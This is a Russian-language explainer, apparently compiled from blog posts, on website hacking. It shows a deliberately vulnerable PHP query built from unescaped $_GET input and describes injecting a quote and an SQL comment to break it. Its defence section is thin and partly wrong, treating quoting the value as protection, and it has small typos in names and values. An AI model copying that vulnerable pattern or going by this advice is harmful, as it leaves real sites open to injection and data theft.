Досконально проверяем файлы темы на наличие в них инъекций. Если есть возможность — перезаливаем файлы темы из старого бекапа или репозитория git, svn (как правило, на рабочих сайтах они меняются редко).

Источник: https://sheensay.ru/hacked

Методы и способы взломов сайта. Что такое SQL инъекции и что делать если сайт взломали?

Мы выпустили новую книгу «Контент-маркетинг в социальных сетях: Как засесть в голову подписчиков и влюбить их в свой бренд».

Подпишись на рассылку и получи книгу в подарок!

А вы уверены, что ваш сайт находится в безопасности? 45% веб-ресурсов крупнейших российских компаний имеют критические уязвимости. Прочитав эту статью, вы сможете провести базовую проверку своего веб-сайта на наличие SQL инъекций.

Давайте для начала разберем, что есть безопасность. Безопасность — это состояние защищенности автоматизированной системы, при условии, что риск не превышает допустимых значений. В свою очередь, риск — это произведение ущерба и вероятности. Что же из себя представляет ущерб? Ущерб — количественная оценка нанесенного вреда системе. Вероятность, думаю, всем знакома.

Представляю вам краткий математический обзор: исходя из этих базовых понятий считают математические риски (классы гостайны разделены именно по этим принципам).

Как же это относиться к защите вашего сайта, думаете вы? А вот как: мы с вами прекрасно знаем, что абсолютно нулевой вероятности не существует (т.е. хоть и маленькой вероятностью, но прямо сейчас из монитора может вылезти джин и выполнить 3 ваших желания).

К чему я это говорю? К тому, что точно так же, нет системы которую невозможно взломать, вопрос лишь в ресурсах. И если подходить к делу профессионально, необходимо оценить возможный ущерб от несанкционированного доступа и принять меры, соответствующие вашему ущербу.

Да, мы можем поставить TrueCrypt, зашифровать наши данные и пароли. Настроить двойную аутентификацию и хранить винчестер с этим всем в бункере, защищенном от прямого ядерного удара, но если у нас там всего лишь пароль от “Контакта”, то возможный ущерб несопоставим с нашими средствами защиты (если, конечно, вы не храните во “ВКонтакте” доступы от ваших миллионных счетов в банке).

Теперь, я хочу вам донести информацию об основных уязвимостях веб-сайтов.

Основные методы и взлома сайтов (уязвимости)

SQL – injection;
XSS;
CSRF;
PHP injection.

Также стоит отметить DDoS атаки: с их помощью нельзя получить несанкционированный доступ, но нанести непоправимый ущерб — запросто.

В данной статье мы рассмотрим детально первую уязвимость.

SQL Injection

Теперь нам нужно разобраться, что есть сайт, как он работает в общих чертах. Сайт — программа, в 90% случаев написанная на языке программирования PHP.

Для того чтобы веб-мастерам было удобнее управлять сайтом, вначале двухтысячных начали использовать базы данных (далее БД), где хранится вся информация о зарегистрированных пользователя, об их паролях, естественно, не в открытом виде, но об этом ниже. Кстати, даже то, что вы сейчас читаете, хранится в БД.

Что такое SQL инъекции?

Все очень просто. SQL — это язык общения с БД, а слово Injection переводится как “внедрение”. Иначе говоря, при помощи SQL Injection можно внедрить произвольный SQL-код, который сервер обработает и выдаст ответ.

Как все работает: примеры

БД состоит из таблиц, каждая таблица имеет строки и столбцы, все как в Еxel.

Для наглядности рассмотрим примерную структуру БД на всем знакомом сайте VK.com

Каждый пользователь “ВКонтакте”, естественно, имеет ряд персональных параметров: Имя, Фамилия, e-mail, дата регистрации и прочее. В итоге каждый столбец отвечает за свой параметр.

Пример:

ID | First_name| Last_name | password | email ….

1 | Pavel | Durov | 202cb962ac59075b964b07152d234b70 | ….

2 | Vova | Pupkin | 827ccb0eea8a706c4c34a16891f84e7b | ….

Скорее всего, вы решите, что у Паши Дурова и Вовы Пупкина очень сложный пароль (аж целых 32 символа!), но, на самом деле, вы ошибаетесь. Что же есть 202cb962ac59075b964b07152d234b70? Это так называемое хэш-значение, результат преобразования хэш-функции.

Простым языком — зашифрованный пароль (хоть это не совсем так). Для чего это нужно? Для того чтобы хакер при взломе сайта не смог легко заполучить пароли пользователей. Но и на это есть свои методы. Если пароль зашифрован — это еще не гарантия безопасности.

Давайте представим, что вы (программа) вышли в магазин (БД) и просите продавца (SQL запрос): “Дайте, пожалуйста, одну пачку Мальборо за 100 рублей”;

Вот так это будет выглядеть на языке SQL:

SELECT имя-товара FROM универсам WHERE (тип='мальборо' AND цена='100') LIMIT 1

SQL-сервер выдаст ответ на ваш вопрос, а делать вы с ним можете все что угодно. Можете как-то модифицировать эту информацию, посчитать или банально вывести на экран браузера.

Теперь вернемся к SQL Injection, как мы уже знаем, это внедрение произвольного кода в SQL-запрос. То есть уязвимость существует тогда, когда злоумышленник может внедрить свой выполняемый код.

Продолжим. Вот вы прочли Аллена Карра и бросили курить. Теперь вы ходите в магазин за исключительно полезными товарами:) В этот раз, вы пойдете… ну, допустим, за молоком.

Чтобы не забыть, вы записали на бумажке: “Один пакет молока за 50 рублей”, но у вас есть друг (хакер), который курит. Он произвел SQL-атаку и теперь надпись гласит: “Один пакет молока за 50 рублей. $ИЛИ одну пачку Мальборо за 100 рублей$”

Вы приходите в магазин и читаете по бумажке: “Дайте, пожалуйста, один пакет молока за 50 рублей или пачку Мальборо за 100”

SELECT имя-товара FROM универсам WHERE (тип='молоко' AND цена='50') OR (тип='мальборо' AND цена='100') LIMIT 1

Продавец подумал, что ему незачем идти до холодильника с молоком, когда сигареты лежат рядом, и отдал их. Теперь вы идете с магазина, а ваш друг только этого и ждет, когда вы принесете ему сигареты.

Вот и пример SQL атак. На сайтах это выглядит иначе, конечно же. Сайт запрашивает с БД одну информацию, а с помощью SQL-инъекции можно получить, например, логины и пароли.

Как же происходит взлом?

Чтобы четко понимать, что именно нужно делать, программа берет SQL-запрос в кавычки. Приведу реальный пример. Допустим, мы хотим выяснить, сколько лет нашему другу, зная его имя и отправляя в переменную $_GET[‘name’]

Выполняем запрос:

$result = mysql_query("SELECT age FROM myfriends WHERE name=$_GET[‘name’]");

Например, мы хотим узнать сколько лет Насте хоть это и неприлично, но БД все нам расскажет 🙂

В программе окажется код:

mysql_query("SELECT age FROM myfriends WHERE name='Настя’");

Рассмотрим чуть детальнее вот этот кусочек. у нас есть 2 пары кавычек.

Первая пара обозначает сам запрос целиком.

"SELECT age FROM myfriends WHERE name='Настя’"

Вторая пара обозначает имя. Настя.

Так вот, а что если злоумышленник напишет не Настя, а Настя’, с кавычкой в конце? Он нарушит синтаксис функции mysql_quevery. И SQL-сервер выдаст закономерный ответ — ошибку (потому как не сможет обработать ‘ , которая не является функцией).

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near Настя'

Кстати, совсем забыл вам рассказать про оператора для комментирования. Один из них — это два тире, которые выглядят вот так: “–”. Что же случится, если мы передадим Настя’ — ?

Правильно. Все последующие записи закомментируются, т.е. закомментируется кавычка для закрытия функции mysql_query(). Теперь ее роль будет выполнять та кавычка, которую мы сами и написали. Верно, сейчас мы подходим к самому интересному. Таким способом мы получили доступ для свободного обращения к базе данных. Я привел в пример самую простую ошибку программиста.

В языках программирования есть разные типы данных, есть строки (String), есть числа (Integer), в зависимости от этого нужно правильно строить SQL-инъекцию. Кстати, “1” может быть как строкой, так и целым числом.

Это лишь край вершины айсберга, есть десятки способов реализации угроз типа SQL-инъекции.

Пример взлома сайта

Действительно ли все так страшно, как вам рассказывают? Не могу не приложить пример. Здесь мы наблюдаем интернет-магазин, который с помощью SQL уязвимости вывел нам информацию о версии SQL-сервера.

Можно с легкостью вывести информацию и о логинах/паролях, но мы рассматриваем не методы взлома и деструктивного воздействия, а напротив, средства защиты (кстати говоря, администрация сайта уведомлена о найденной уязвимости).

Иметь уязвимость в интернет-магазине — недопустимо, а если он еще и карты принимает — неприемлемо. Злые хакеры (не мы) могут получить доступ к сайту и записывать данные о дебетовых/кредитных картах покупателей, а затем использовать информацию в своих целях.

Поэтому стоит очень внимательно относиться к безопасности как при создании веб-сайта, так и при покупках в сети.

Это лишь один из путей хакеров при монетизации сайтов. Их десятки: вирусы, дорвеи, редиректы, дополнительная реклама, невидимая sape на вашем сайте… и многое другое… Если вам это будет интересно, я с радостью напишу подробную статью на этот счет, пишите в комментарии.

Мы с вами пришли к выводу, что имея более-менее значимый проект, нельзя допускать уязвимость. Иначе в самый неподходящий момент это может привести к тяжелым последствиям.

Хорошо, с этим разобрались, а что же делать? Для профессионального аудита стоит обратиться к профильным компаниям, но проверить элементарные SQL-уязвимости теперь вы можете и самостоятельно.

Зачастую хакеры проверяют уязвимости автоматически, и, закрыв базовые уязвимости, вы сможете спасти свой сайт от взора хакера.

Что делать если мой сайт взломали?

Взломав сайт и используя информацию в своих целях, хакеры оставляют backdoors (скрытые точки входа хакера).

Это могут быть файлы с любым расширением, даже jpg, но в них будет закодирован php-код для проникновения в систему.

В наше время существует множество php-антивирусов, программ, которые сканируют вашу файловую систему сайта на предмет подозрительных файлов. Могу посоветовать бесплатное ПО AI-Bolit.

Для проверки сайта на наличие вредоносного ПО нужно загрузить скрипт-антивирус на ваш хостинг и запустить его, остальное он сделает за вас. После чистки бэкдоров необходимо закрыть брешь, через которую хакер к вам попал.

Обновите движок, плагины, смените пароли, можете обратиться к хостеру, чтобы он выдал лог-файл, по которому можно понять через что именно был получен доступ.

После закрытия канала проникновения и удаления бэкдоров, все должно быть хорошо, но каждый случай индивидуален и требует персонального подхода.

Как защитить свой сайт от взлома: базовая проверка на уязвимости SQL типа

Для начала, нам нужно найти ссылки такого типа…..

/index.php?id=410

Т.е. любой URL, который содержит входные параметры. Здесь переменная $_GET[‘ID’] содержит значение 140, которое, возможно, передается серверу БД. Т.е. для базовой проверки вам нужно будет попробовать вставить кавычку и посмотреть, что выдаст в ответ ваш сайт.

Защита от SQL инъекций

Самое главное — фильтрация входящих данных, например, в параметрах поиска, при выборе номера страницы и прочее.

Выделим основные пункты для защиты вашего веб-сайта.

Максимально возможная фильтрация данных: злоумышленник не должен иметь прав вставить свою кавычку, затереть вашу.
Использовать при сравнении кавычки SELECT …WHERE name='$name'.

Источник: https://semantica.in/blog/vidy-vzlomov-sajtov-chto-delat-esli-sajt-vzlomali.html